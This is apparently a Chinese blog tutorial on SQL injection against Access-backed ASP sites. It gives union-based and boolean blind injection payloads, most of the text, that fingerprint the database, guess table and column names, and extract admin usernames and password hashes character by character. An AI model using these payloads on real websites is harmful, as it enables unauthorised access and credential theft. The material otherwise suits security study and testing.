0
点赞
收藏
分享

微信扫一扫

ACCESS注入

王小沫 2022-02-13 阅读 31

目录

access数据库结构

access数据库类型判断

access数据库需要掌握的几个函数

access注入基本流程

access查询方法

联合查询

布尔型盲注


access数据库结构

表名---->列名---->内容数据 不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有若干张表。

access数据库类型判断

根据url文件后缀初步判断,一般asp和access数据库连用,通过and (select count(*) from msysobjects)>0判断是否为access,如果返回错误页面证明数据库为access。

msysobjects是access数据库的系统表之一,access数据库共有三个系统表,分别为msysobjects 、msysqueries、msysrelationships,这三个系统表在web环境下是没有访问权 限的,因此可以通过错误回显来判断access数据库

access数据库需要掌握的几个函数

函数释义
count()返回在给定的选择中被选的行数
asc()返回字母的ascii值 如:asc(“A”) 返回”65”
mid()返回子字符串,第1位为截断的字符串,第2位为截断开始的位置,第3位是截断的位数如:mid(“ndsec”,3,2) 返回”se”
IIF()根据表达式的值,来判断condition,条件成立返回true,反之返回false 语法: IIF(condition, true, false)
chr()返回ascii码对应的字符 如:chr(65) 返回”A “
exists()判断是否存在数据,返回值true或者false
len()返回字符串长度 如:len(“tystech”) 返回”7”

access注入基本流程

        1.判断有无注入

        2.猜解表名

        3.猜解字段

        4.猜解用户名和密码长度

        5.猜解用户名和密码

access查询方法

联合查询

判断字段数:?id=1 order by N(通过遍历N的值,当页面报错时,字段数为N-1)

输入:?id=5 order by 11页面正常 输入:?id=5 order by 12页面报错 , 说明有11列

枚举关键表名:?id=1 and exists(select count(*) from admin)

输入:?id=5 and exists(select * from users) 页面输出报错,没有users表

输入:?id=5 and exists(select * from admin) 正常输出页面说明有admin表

 

判断字段回显位置:?id=1 union select 1,2,3,4,5 from admin

access使用联合查询判断回显位置的时候需要跟上表名

猜解关键字段名并获取关键字段的数据:

?id=5 union select 11,username,password,44,55,66,77,88,91,111,222 from admin

 (列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列明继续猜)(列名猜对后及出账号密码)

布尔型盲注

(与联合查询类似,这里不再用截图表示)

判断数据库类型:

and (select count(*) from msysobjects)>0 (返回错误则为access数据库)

猜解表名:

and exists (select * from admin) (返回正确则存在admin表,返回错误则不存在)

猜解字段:

and exists (select username from admin)(若无出错则证明存在username字段)

猜解用户名长度:

and (select top 1 len(username) from admin)>0(用数字替换0,直到返回非正常页面,数字为多少用户名长度就为多少)

猜解密码长度:

and (select top 1 len(password) from admin)>0(用数字替换0,直到返回非正常页面,数字为多少密码长度就为多少)

猜解用户名内容:

and(select top 1 asc(mid(username,1,1))from admin)=97(若返回正常,说明username的第一位内容是ASC码的97,也就是a,猜第二位把username,1,1改成username,2,1就可以了) and(select top 1 asc(mid(username,2,1))fromadmin)=100(若返回正常,说明username的第二位内容是ASC码的100,也就是d,以此类推,便可得到用户名)

猜解密码内容:

and(select top 1 asc(mid(password,1,1))from admin)=52(若返回正常,说明password的第一位内容是ASC码的52,也就是4,猜第二位把password,1,1改成password,2,1就可以了)and(select top 1 asc(mid(password,2,1))from admin)=54(若返回正常,说明password的第二位内容是ASC码的54,也就是6,以此类推得到MD5密码,进行破解后获取原始密码

举报

相关推荐

0 条评论